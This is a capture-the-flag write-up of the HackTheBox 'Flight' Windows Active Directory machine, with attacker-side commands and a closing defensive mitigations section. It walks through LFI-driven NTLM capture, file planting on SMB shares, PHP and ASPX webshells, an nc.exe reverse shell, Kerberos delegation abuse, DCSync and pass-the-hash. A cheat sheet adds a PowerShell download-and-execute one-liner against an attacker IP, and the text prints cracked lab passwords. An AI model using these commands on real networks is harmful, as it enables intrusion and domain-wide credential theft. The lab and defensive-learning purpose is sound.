1. Target Overview

Machine Name: Flight
Platform: HackTheBox
Operating System: Windows
Target IP:
Objective: Compromise the target system and obtain administrative access in an Active Directory environment.

This machine presented a realistic Windows Active Directory environment with multiple attack vectors spanning web exploitation, SMB abuse, credential harvesting, and domain escalation.

Out of all the machines I’ve worked through so far, Flight stands out as one of the most instructive and well-designed. It ties together several critical real-world attack techniques—such as LFI/RFI, NTLM capture, writable SMB shares, web-based RCE, and Kerberos delegation abuse—into a single, cohesive attack path. The overall flow felt very realistic and reinforced the importance of thinking holistically rather than focusing on just one vector at a time.

Tools Used

• Nmap – Identified open ports, services, and attack surface

• NetExec (nxc) – LDAP/SMB enumeration and BloodHound data collection

• BloodHound – Analyzed Active Directory relationships and privilege paths

• smbclient – Enumerated shares and interacted with SMB file systems

• Responder – Captured NTLMv2 authentication hashes via forced authentication

• NTLMTheft – Generated malicious files to trigger SMB authentication

• John the Ripper – Cracked captured NTLMv2 hashes offline

• cURL – Interacted with web endpoints and inspected server responses

• PHP Webshell – Achieved initial remote code execution via writable web directory

• ASPX Webshell – Gained code execution on IIS development site

• Netcat (nc) – Established reverse shells

• rlwrap – Improved shell usability and interaction

• RunasCs – Executed commands as another user (c.bum)

• Chisel – Performed port forwarding to access internal-only services

• Rubeus – Performed TGT delegation attack to obtain Kerberos tickets

• Impacket (secretsdump.py) – Performed DCSync to extract domain hashes

• Impacket (psexec.py) – Achieved remote command execution as Administrator

• Python HTTP Server – Hosted payloads (Rubeus, Chisel, RunasCs)

• wget / PowerShell WebClient – Downloaded payloads onto the target

2. Enumeration

Initial Service Discovery

I began with an Nmap scan to identify open ports, exposed services, and domain-related details. The scan revealed a standard Active Directory host along with an HTTP service.

Key services identified:

• 53 (DNS)

• 80 (HTTP) – Apache httpd 2.4.52 on Win64 with PHP

• 88 (Kerberos)

• 135 (MSRPC)

• 139 (NetBIOS)

• 389 (LDAP)

• 445 (SMB)

• 464 (kpasswd)

• 593 (RPC over HTTP)

• 3268 (Global Catalog LDAP)

• Additional high RPC ports typical of Windows

The scan also exposed two important details:

• Domain: flight.htb

• Hostname: g0

Since this is an AD target, I followed step 1 of my checklist and added the discovered naming information to my hosts file so the target could be resolved properly during later enumeration and attack steps.

---

SMB Enumeration

Following step 2 of my AD checklist, I attempted anonymous SMB enumeration first.

I tested null and guest-style access, but both paths failed:

• Anonymous share enumeration returned STATUS_ACCESS_DENIED

• Guest access returned STATUS_ACCOUNT_DISABLED

That told me SMB was not going to give me an easy foothold or anonymous file access.

---

RPC Enumeration

Following step 3 of my AD checklist, I attempted anonymous RPC enumeration with rpcclient.

That also failed:

• enumdomusers returned NT_STATUS_ACCESS_DENIED

So anonymous RPC user enumeration was blocked as well.

---

LDAP Enumeration

Following step 4 of my AD checklist, I attempted anonymous LDAP enumeration.

That failed too:

• LDAP returned an error indicating a successful bind was required before the operation could be completed

This confirmed anonymous LDAP enumeration was disabled.

---

Web Enumeration

At this point, the early anonymous AD paths had been shut down:

1. Hosts file updated with the discovered domain/FQDN

2. Anonymous SMB enumeration failed

3. Anonymous RPC enumeration failed

4. Anonymous LDAP enumeration failed

Because of that, I decided to shift focus to the web server on port 80.

Upon visiting http://flight.htb, I was presented with a flight booking website (“g0 Aviation”).

Observations:

• The site appeared static

• Navigation links did not trigger meaningful backend interaction

• No visible input fields or dynamic functionality

• No immediate injection points or authentication features

At this point, the web app itself did not provide a direct attack path.

---

Virtual Host Enumeration

Because the main site lacked functionality, I expanded the attack surface by fuzzing for virtual hosts.

Command used:

ffuf -u http://<target_ip> -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 1546

This resulted in the discovery of a new subdomain:

• school.flight.htb

This is a critical finding because:

• It indicates multiple web apps hosted on the same server

• Hidden vhosts often contain admin panels, dev apps, or vulnerable functionality

• This gives us a new attack surface after AD enumeration failed

With this discovery, I shifted my focus to school.flight.htb as the next target for deeper enumeration, since hidden subdomains frequently expose functionality that is not present on the main site.

Web Enumeration (school.flight.htb)

After discovering the school.flight.htb subdomain, I followed up by adding it to my hosts file:

I then navigated to the site in my browser while simultaneously running directory and vhost fuzzing in the background to maximize coverage.

Upon visiting http://school.flight.htb, I was presented with what appears to be a development-stage aviation school website.

Initial observations:

• The site is more dynamic than the main domain

• Contains navigation links such as Home, About Us, Blog

When clicking Home, I was redirected to:

index.php?view=home.html

This immediately stood out to me.

---

Parameter Analysis

From the URL structure, I observed:

• index.php is acting as the main handler script

• view is a GET parameter

• home.html is being passed as a value to that parameter

This suggests that the application is dynamically loading content based on user-supplied input.

---

LFI Potential Identification

At this point, I suspected a potential Local File Inclusion (LFI) vulnerability.

The reasoning was:

• The application appears to take user input (view) and use it to determine which file to load

• The value being passed (home.html) looks like a file path

• There was no visible restriction or sanitization in the URL itself

This pattern commonly maps to backend logic similar to:

include($_GET['view']);

If this is the case, then I may be able to manipulate the view parameter to load arbitrary files on the system.

3. Exploitation

I proceeded to test whether the application was vulnerable to LFI.

To do this, I attempted to load a known file that is present on most Windows systems:

index.php?view=/Windows/win.ini

---

LFI Validation

The response returned the contents of the win.ini file directly in the browser.

This confirmed that:

• The application is using user-supplied input to load files

• There is no proper sanitization or restriction in place

• The view parameter is vulnerable to Local File Inclusion (LFI)

LFI → RFI Testing

After confirming LFI, I moved to the next logical step: checking for Remote File Inclusion (RFI).

Anytime I find LFI, I want to test RFI because:

• LFI → file read

• RFI → potential remote code execution (RCE)

If the application is using something like include() or require() with user input, RFI can often lead directly to a shell.

---

RFI Test Setup

To test this, I created a simple PHP file on my attack machine:

<?php echo "neo test"; ?>

Then I hosted it using a Python web server:

python3 -m http.server 80

I modified the vulnerable parameter to point to my hosted file:

index.php?view=http://<attacker_ip>/test.txt

---

Observed Behavior

Two key things happened:

1. Callback confirmed

   • The target made a request to my server

   • This proves the application is fetching remote content

2. PHP did NOT execute

   • The response showed the raw PHP source code

   • <?php echo "neo test"; ?> was not interpreted

---

What This Tells Me

This is the critical distinction:

• The app is likely using something like: file_get_contents() → reads file as text → no execution

So: RFI behavior exists (remote fetch works) but No direct RCE via RFI

Even though RCE isn’t immediate, this is still valuable I can:

• Pull remote content into the app

• Confirm outbound connectivity

• Potentially chain this with other techniques

• But I cannot execute PHP directly via RFI

LFI → SMB Abuse (Credential Capture)

After confirming that RFI would not lead to code execution, I pivoted to another common LFI technique: forcing the application to authenticate over SMB.

Even though HTTP-based RFI did not execute code, LFI can still be abused to trigger outbound authentication attempts, which can be captured.

---

Attack Setup

I started a listener using Responder:

sudo responder -I tun0

The goal here is simple:

• Trick the target into requesting a resource over SMB

• Capture the NetNTLMv2 challenge/response when it tries to authenticate

---

Triggering the Authentication

Instead of using HTTP, I leveraged the LFI parameter to point to my attacker machine:

This forces the Windows server to:

• Reach out over SMB

• Attempt authentication using its current user context

---

Hash Capture

This worked immediately.

I captured a NetNTLMv2 challenge/response for:

• User: svc_apache

• Domain: flight.htb

This is a service account, which is exactly what you want:

• Often reused

• Often has elevated or useful permissions

• Sometimes poorly secured

---

Hash Cracking

Next, I attempted to crack the captured NetNTLMv2 hash using John:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The attack was successful:

• Password cracked for svc_apache

• I now have valid domain credentials

User Enumeration & Password Spraying

After successfully cracking the NetNTLMv2 hash, I obtained valid credentials for the service account:

• User: svc_apache

• Password: S@Ss!K0x+13

---

Domain User Enumeration

With valid credentials, I returned to my AD checklist and proceeded with proper authenticated enumeration.

Using nxc, I enumerated domain users:

nxc smb <target_ip> -u svc_apache -p 'S@Ss!K0x+13' --users

This provided a list of domain users.

Now I had a solid user list to work with, which is critical for the next phase.

---

Password Spraying (Credential Reuse Check)

Following best practice, I immediately tested for password reuse.

This is especially important with:

• Service accounts → often reused or poorly managed

• Internal environments → users commonly reuse passwords

I performed a password spray using the discovered credentials:

nxc smb <target_ip> -u user.txt -p 'S@Ss!K0x+13' --continue-on-success

---

Result – Additional Compromise

The spray revealed a successful login:

• User: S.Moon

• Password: S@Ss!K0x+13

This confirms password reuse within the domain.

WinRM Access Check

After obtaining credentials for both:

• svc_apache

• S.Moon

The next logical step was to check for remote access via WinRM, as this is often a quick path to an interactive shell on Windows targets.

I attempted authentication using evil-winrm for both users:

evil-winrm -i <target_ip> -u S.Moon -p 'S@Ss!K0x+13'
evil-winrm -i <target_ip> -u svc_apache -p 'S@Ss!K0x+13'

Both attempts failed with:

• WinRM::WinRMAuthorizationError

This indicates:

• Neither user has WinRM access rights

WinRM access is typically restricted to:

• Administrators

• Remote Management Users group

Neither svc_apache nor S.Moon are members of those groups.

Next Step – BloodHound Enumeration

Since:

• WinRM is not accessible

The next move is to enumerate the domain using BloodHound.

Normally, I would use SharpHound (on-host collector), but:

• I do not have a shell on the target yet

So instead, I used my backup approach:

• NXC Bloodhound ce (external collector)

This allows me to:

• Enumerate AD remotely using valid credentials

• Gather data on:

  • Group memberships

  • Permissions

  • Attack paths

  • Privilege escalation opportunities

Domain Enumeration

I moved to broader Active Directory enumeration with BloodHound. I used nxc bloodhound-ce as my external collector. The collection succeeded, and I imported the results into BloodHound for analysis.

The graph showed that although I had compromised two users, neither had any useful privileged group memberships, outbound object control, or obvious ACL-based escalation path.

Kerberos Attacks

After BloodHound did not reveal anything useful, I tested two common Kerberos attack paths:

• AS-REP roasting

  

• Kerberoasting

  

Both failed.

There were no roastable users with pre-auth disabled, and no useful service principal names exposed for ticket extraction. That ruled out the most common credential-based Kerberos escalation routes.

At this stage:

• I had confirmed and exploited LFI

• Captured and cracked a NetNTLMv2 challenge/response

• Compromised svc_apache

• Password sprayed and compromised S.Moon

• Confirmed neither user had WinRM access

• Ruled out useful BloodHound privilege paths

• Ruled out AS-REP roasting and Kerberoasting

With those paths exhausted, my next move was to pivot into authenticated SMB enumeration and look for useful files, shares, credentials, or internal data.

Authenticated SMB Abuse – NTLM Theft via Writable Share

While performing authenticated SMB enumeration, I discovered that one of the compromised users had write access to a network share.

This is a critical finding.

Anytime I have write access to a share, I immediately consider NTLM credential theft attacks, because I can plant files that will cause legitimate users to authenticate back to my machine.

---

Attack Concept

The idea is simple:

• Drop a file on the share

• Wait for a user to interact with it (browse/open/render)

• Their system attempts to fetch a remote resource

• This triggers SMB authentication to my attacker machine

• I capture the NetNTLMv2 challenge/response

This type of attack is commonly referred to as:

SMB/NTLM coercion via file planting
(or more practically: NTLM theft via writable share)

---

ntlm_theft

To streamline this, I used the ntlm_theft tool, which generates multiple file types designed to trigger authentication:

sudo python3 ntlm_theft.py -g all -s <attacker_ip> -f neo

This created a variety of payload files such as:

• .lnk

• .url

• .scf

• and others

Each of these is crafted to force a remote connection when accessed.

---

Uploading Payloads

Using SMB access, I uploaded these files to the writable share:

smbclient //<target_ip>/shared -U S.Moon

Then:

prompt false
mput *

Some files were blocked due to permissions, but several successfully uploaded, which is all that’s needed.

---

Capturing Credentials

With the payloads in place, I restarted Responder:

sudo responder -I tun0

Shortly after, I received a callback:

• User: c.bum

---

Credential Recovery

As before, I took the captured hash and cracked it offline using John:

john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

• Successfully recovered the password for c.bum

Remote Code Execution via Writable Web Share

After compromising the c.bum user, I continued post-authentication enumeration.

---

Privilege & Access Review

• Password spraying with c.bum → no reuse

• BloodHound analysis → no direct escalation paths

However, I identified an important detail:

• c.bum is a member of Web Devs

---

SMB Share Permissions

I then checked SMB access and discovered:

• Write access to a share named: web

This is a major finding.

Upon inspection, this share corresponded directly to the web root directory, containing files for both:

• flight.htb

• school.flight.htb

---

Attack Opportunity

At this point, the path was clear:

• The application uses PHP

• I have write access to the web directory

This means I can upload a PHP webshell and achieve RCE

---

Webshell Upload

Using SMB, I uploaded a PHP webshell into the web directory:

smbclient //<target_ip>/web -U c.bum

Then placed the shell inside the styles directory:

put wtshelly.php

---

RCE Validation

I accessed the webshell via the browser:

http://school.flight.htb/styles/wtshelly.php?cmd=whoami

The response returned:

• flight\svc_apache

This confirmed:

• The webserver executes PHP ✔️

• I have remote code execution ✔️

---

Upgrading to a Reverse Shell

To get a proper interactive shell, I:

1. Uploaded nc.exe to the same directory

2. Started a listener on my machine:

rlwrap nc -nlvp 7777

1. Triggered the reverse shell using the webshell:

curl http://school.flight.htb/styles/wtshelly.php \
--data-urlencode "cmd=nc.exe -e powershell.exe <attacker_ip> 7777"

---

Shell Access Achieved

I received a reverse shell:

PS C:\xampp\htdocs\school.flight.htb\styles> whoami
flight\svc_apache

4. Privilege Escalation

Initial Enumeration (Post-Exploitation)

After obtaining a shell as svc_apache, I began standard Windows privilege escalation enumeration, starting with quick wins.

• Checked for autologon credentials → none found

  

• Checked PowerShell history → no useful data

  

---

Web Directory Enumeration

I navigated to the IIS web directory:

cd C:\inetpub

I discovered a directory:

C:\inetpub\development

Contents:

• Static web files (index.html, contact.html, etc.)

Next, I checked permissions:

icacls development

Key finding:

• flight\C.Bum:(OI)(CI)(W)

This confirms:

• The c.bum user has write access to this development web directory

This is important because:

• I already control credentials for c.bum

• This directory is tied to a web service

---

Service & Port Enumeration

I then enumerated listening services:

netstat -ano | findstr LISTENING

Key observation:

• Port 8000 is listening on:

  • 127.0.0.1

  • 0.0.0.0

This strongly suggests:

• A locally hosted web application

• Likely the development site I just discovered

---

Attack Surface Identification

At this point, I identified a clear opportunity:

• Internal web app (port 8000)

• Writable web directory (via c.bum)

• Potential different execution context

This creates a classic scenario:

Internal service + writable content + different user context = privilege escalation vector

---

Access Constraints

However, two limitations exist:

1. The service is not externally accessible

2. My current shell is:

   • svc_apache (not c.bum)

Windows does not allow easy user switching like Linux (su), so I need to work around this.

To proceed, I identified two required tools:

1. Chisel (Port Forwarding)

• Used to expose:

  • localhost:8000 → attacker machine

• Allows me to interact with the internal web app

2. RunasCs (User Execution)

• Allows execution of commands as:

  • c.bum

• This is necessary because:

  • c.bum has write access to the web directory

  • The service may run under a different context

4. Privilege Escalation

Accessing Internal Services as c.bum

At this point, I identified that port 8000 was running a web service bound to localhost. Since my shell was running as svc_apache, I needed a way to:

1. Access the internal service

2. Operate as c.bum (who has write access to the web directory)

To achieve this, I transferred two tools to the target:

• RunasCs → execute commands as another user

• Chisel → port forwarding

---

Switching Context to c.bum

Using RunasCs, I spawned a reverse shell as c.bum:

.\r.exe c.bum <password> -r <attacker_ip>:9001 powershell.exe

Listener:

rlwrap nc -nlvp 9001

Confirmed:

whoami
flight\c.bum

---

Forwarding Internal Port 8000

Next, I used Chisel to expose the internal web service:

.\chisel.exe client <attacker_ip>:8001 R:8000:127.0.0.1:8000

Now I could access the service locally:

http://127.0.0.1:8000

---

Identifying the Development Site

The site loaded successfully and appeared to be a development flight booking application.

Based on earlier enumeration:

• This corresponds to:

  C:\inetpub\development
  

---

Verifying Write Access

To confirm control, I created a test file:

echo "test" > neo.txt

Then accessed:

http://127.0.0.1:8000/neo.txt

✔ File loaded successfully → write access confirmed

---

Identifying Backend Technology

To determine the server-side language, I used:

curl -I http://127.0.0.1:8000/index.html

Key result:

• X-Powered-By: ASP.NET

This confirms:

• The application uses ASP.NET / IIS

• PHP payloads will not work here

---

ASPX Webshell Upload

With confirmed write access and ASP.NET backend, I uploaded an ASPX webshell.

Steps:

1. Upload shell via SMB

2. Copy into web root:

cp \xampp\htdocs\shell.aspx shell.aspx

---

RCE Confirmation

I navigated to:

http://127.0.0.1:8000/shell.aspx

Executed:

whoami

Result:

iis apppool\defaultapppool

---

Abusing IIS AppPool Identity

After achieving RCE via the ASPX webshell, I began enumerating the execution context:

whoami

Result:

iis apppool\defaultapppool

---

Understanding the Context

At first glance, this appears to be a low-privileged service account. However, IIS AppPool identities can be misleading.

To better understand its privileges, I attempted to coerce authentication:

\\10.10.14.123\whatever

This triggered an outbound authentication request captured via Responder.

---

Captured NTLM Authentication

Responder captured:

• Username: flight\G0$

This is a critical finding.

The $ suffix indicates:

• This is a machine account

• Specifically, the domain controller (G0)

---

Key Insight

This tells me:

• The IIS process is running in a context capable of authenticating as the machine account

• This is far more powerful than a normal service account

However—this is where precision matters:

This does NOT automatically mean SYSTEM

It means the process has access to machine-level credentials/tokens

---

Attack Direction: Kerberos Delegation Abuse

Since I can coerce authentication as the machine account, I can potentially:

• Request Kerberos tickets

• Abuse delegation mechanisms

This leads to a known attack path:

Use Rubeus to request and leverage machine account tickets → perform DCSync

Abusing Machine Account via IIS AppPool

After confirming that the IIS AppPool context could authenticate as the machine account (G0$), I moved to abuse this using Kerberos delegation.

To do this, I transferred Rubeus to the target:

wget http://<attacker_ip>/rubeus.exe -outfile rubeus.exe

---

Requesting Delegation TGT

I used Rubeus to perform delegation abuse:

.\rubeus.exe tgtdeleg /nowrap

This resulted in:

• A delegated Kerberos TGT

• Output in base64 format

---

Extracting and Preparing the Ticket

I copied the base64 ticket and converted it:

base64 -d ticket > ticket.kirbi

Then converted it into a format usable by Impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache

Exported the ticket:

export KRB5CCNAME=ticket.ccache

This allows all Kerberos-aware tools to use the ticket

---

DCSync via Kerberos Ticket

With a valid delegated ticket, I performed a DCSync:

impacket-secretsdump -k -no-pass g0.flight.htb

Result:

• Dumped NTDS secrets

• Retrieved hashes for:

  • Administrator

  • krbtgt

  • other domain users

---

Domain Administrator Compromise

From the output, I extracted the Administrator NTLM hash:

Administrator:...:<NTLM_HASH>

Then used Pass-the-Hash:

impacket-psexec administrator@10.129.228.120 -hashes :<NTLM_HASH>

---

Final Access

Shell obtained:

This completes full domain compromise:

• ✔ Initial foothold via web

• ✔ Credential harvesting via LFI + NTLM capture

• ✔ Lateral movement via SMB + password reuse

• ✔ RCE via writable web directory

• ✔ Machine account abuse via IIS

• ✔ Kerberos delegation → DCSync

• ✔ Domain Admin → SYSTEM

---

5. Lessons Learned

1.LFI on Windows Has Predictable High-Value Targets

When exploiting LFI on Windows systems, there are a few reliable files to check immediately:

• C:\Windows\win.ini → quick validation of file read

• C:\Windows\System32\drivers\etc\hosts → reveals internal hostnames

These are consistent, low-effort checks that provide immediate value.

2. Always Test LFI → RFI Immediately

After confirming LFI, the next step is to test for Remote File Inclusion (RFI).

• LFI = reading local files

• RFI = including remote files

Important distinction:

Being able to include a file does not guarantee code execution.

If the backend uses functions like file_get_contents, the result will be:

File contents only

No execution of embedded code

3. RFI + SMB = Credential Capture

RFI becomes significantly more powerful when SMB is involved.

By pointing the target to an attacker-controlled host:

• The system attempts authentication over SMB

• This allows capture of NetNTLMv2 challenge/response

This is a reliable method to convert file inclusion into credentials.

4. Writable SMB Shares Enable NTLM Theft

Writable SMB shares are not just storage—they are an attack vector.

With write access, I was able to:

• Drop crafted files (.url, .lnk, etc.)

• Trigger authentication when accessed by other users

• Capture NTLM credentials via Responder

This technique is commonly referred to as:

NTLM coercion / NTLM theft via file-based triggers

5. File Write on Web Servers = Likely RCE

A key mindset shift:

• Writing to random shares → limited value

• Writing to a web root directory → potential RCE

Once I identified:

• Write access to the web directory

• A dynamic backend

The path was clear:

Upload webshell → execute via browser → gain code execution

6. A Shell Is More Valuable Than Credentials Alone

Compromising users is not the end goal.

To make real progress, you need:

• A local shell on the target

• Ability to enumerate:

• Files

• Services

• Permissions

• Network activity

Real control begins once you are operating locally.

7. Internal Services Matter More Than External Ones

External scans do not reveal everything.

Using:

netstat -ano

I identified:

Services bound to localhost (e.g., port 8000)

Internal-only services are often:

Poorly secured

Meant for development

High-value escalation paths

8. Always Re-Enumerate Web Directories Locally

Even if web enumeration was done earlier, it must be repeated after gaining access.

Key directories:

C:\inetpub\ → IIS default

C:\xampp\htdocs\ → XAMPP

These are the Windows equivalents of /var/www

9. Chisel Is Essential Without SSH

Windows environments often lack SSH.

To access internal services:

Use Chisel for port forwarding

Expose localhost services to your attacker machine

This is critical for interacting with internal-only applications.

10. Identifying Backend Technology Is Critical

Using:

curl -I http://target

I identified:

X-Powered-By: ASP.NET

This determines:

What payloads will work

What type of webshell to use

In this case:

PHP payloads would fail

ASPX webshells were required

11. SMB Is a Reliable File Transfer Method

With write access:

SMB can be used to:

Upload tools

Transfer binaries

Place webshells directly

Simple, stable, and often the easiest option.

12. IIS AppPool Identity Behavior

Important clarification:

IIS APPPOOL\DefaultAppPool is not SYSTEM

However, it can authenticate as the machine account over the network

This is why authentication appeared as:

G0$

This behavior enables advanced attacks.

13. Machine Accounts Can Be Abused for Kerberos Attacks

Once operating in a context that can act as a machine account:

Kerberos delegation can be abused

Tools like Rubeus can request tickets

Result:

.kirbi ticket obtained

Can be reused for authentication

14. Kerberos Ticket Reuse (Pass-the-Ticket)

Workflow learned:

Extract ticket (base64 → .kirbi)

Convert to .ccache

Export:

export KRB5CCNAME=ticket.ccache

Use with Kerberos-enabled tools

This allows authentication without needing credentials

Final Reflection

This machine reinforced a core principle:

Real attacks are built by chaining multiple small weaknesses together.

LFI → credentials

SMB → lateral movement

Web write → RCE

Internal services → escalation

Kerberos → domain takeover

Individually, these are minor Combined, they result in full compromise.

6. Defensive Insights

1. Improper Input Validation Enables LFI/RFI

The application passes user-controlled input directly into a file parameter (view) without proper validation.

Impact:

• Allows Local File Inclusion (LFI)

• Can escalate to Remote File Inclusion (RFI)

Mitigation:

• Enforce strict input validation and whitelisting

• Never pass user input directly into file operations

• Restrict file access to predefined safe directories

---

2. Outbound SMB Authentication Leads to Credential Leakage

The server is able to initiate SMB connections to external systems.

Impact:

• Attackers can coerce authentication and capture NetNTLMv2 hashes

Mitigation:

• Block outbound SMB (TCP 445)

• Enforce SMB signing

• Disable NTLM where possible and prefer Kerberos

---

3. Over-Permissive SMB Shares Enable NTLM Theft

Users are granted write access to SMB shares that are accessible by others.

Impact:

• Attackers can plant malicious files (.lnk, .url, .scf)

• Leads to credential theft when accessed

Mitigation:

• Apply least privilege to all SMB shares

• Restrict write access to only what is absolutely necessary

• Monitor for suspicious file types and activity

---

4. Password Reuse Enables Lateral Movement

Multiple accounts reuse the same password.

Impact:

• A single compromised credential leads to multiple compromised users

Mitigation:

• Enforce unique passwords per account

• Implement strong password policies

• Use account lockout protections

---

5. Web Root Write Access Leads Directly to RCE

A user is allowed to write directly to a web-accessible directory.

Impact:

• Attackers can upload webshells and execute arbitrary code

Mitigation:

• Remove write access to web roots for non-admin users

• Separate content management from execution paths

• Monitor for unexpected file uploads

---

6. Internal-Only Services Are Not Safe by Default

A web service running on localhost (port 8000) is assumed to be safe because it is not externally exposed.

Impact:

• Attackers with a foothold can access it via port forwarding

• Internal services become escalation vectors

Mitigation:

• Treat internal services as untrusted

• Require authentication and authorization

• Restrict access with firewall rules

---

7. IIS Configuration Allows Dangerous Execution Context

The IIS application allows execution of user-controlled ASPX files.

Impact:

• Attackers gain code execution within the IIS AppPool context

Mitigation:

• Disable script execution where not required

• Restrict which directories can execute code

• Run application pools with minimal privileges

---

8. Lack of Network Segmentation Enables Domain Access

The compromised system can freely communicate with domain services.

Impact:

• Enables Kerberos abuse and DCSync attacks

Mitigation:

• Implement network segmentation

• Restrict communication between web servers and domain controllers

• Enforce strict firewall policies

---

9. Kerberos Delegation Can Be Abused

The environment allows delegation abuse via machine account context.

Impact:

• Attackers can obtain Kerberos tickets and perform DCSync

Mitigation:

• Audit and restrict delegation settings

• Monitor Kerberos activity for anomalies

• Limit privileges assigned to machine accounts

---

10. Lack of Monitoring Allows Full Attack Chain Execution

There is no effective detection across multiple attack stages.

Impact:

• Attackers move from initial access to full domain compromise undetected

Mitigation:

• Implement centralized logging (SIEM)

• Monitor for:

  • Suspicious SMB authentication

  • Webshell uploads

  • Abnormal process execution

• Enable PowerShell logging and auditing

---

Final Defensive Perspective

This environment is not compromised by one major flaw—it is compromised by a chain of small, preventable issues:

• Weak input validation

• Over-permissioned access

• Poor credential hygiene

• Trust in internal services

• Lack of monitoring

Security breaks down when basic controls are ignored. Tighten the fundamentals, and the entire attack chain falls apart.

7. Useful Commands

---

VHost Fuzzing (ffuf)

ffuf -u http://flight.htb -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

LFI Testing

http://school.flight.htb/index.php?view=C:\Windows\win.ini

SMB Enumeration

nxc smb 10.129.9.50 -u svc_apache -p 'S@sS!K0x+13' --users

Password Spraying

nxc smb 10.129.9.50 -u user.txt -p 'S@sS!K0x+13' --continue-on-success

NTLM Theft

python3 ntlm_theft.py -g all -s 10.10.14.123 -f neo

RunasCs Reverse Shell (c.bum)

.\r.exe c.bum Tikkycoll_431012284 -r 10.10.14.123:9001 powershell.exe

Chisel Port Forward

.\chisel.exe client 10.10.14.123:8001 R:8000:127.0.0.1:8000

Rubeus Ticket Delegation Attack

.\rubeus.exe tgtdeleg /nowrap

Convert Ticket

Executed:

base64 -d ticket.b64 > ticket.kirbi

impacket-ticketConverter ticket.kirbi ticket.ccache

export KRB5CCNAME=ticket.ccache

BloodHound Collection (NetExec)

nxc ldap 10.129.9.50 -u 'svc_apache' -p 'S@sS!K0x+13' --bloodhound --collection All

Download and Execute PowerShell Script In Memory

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.123/shell.ps1')"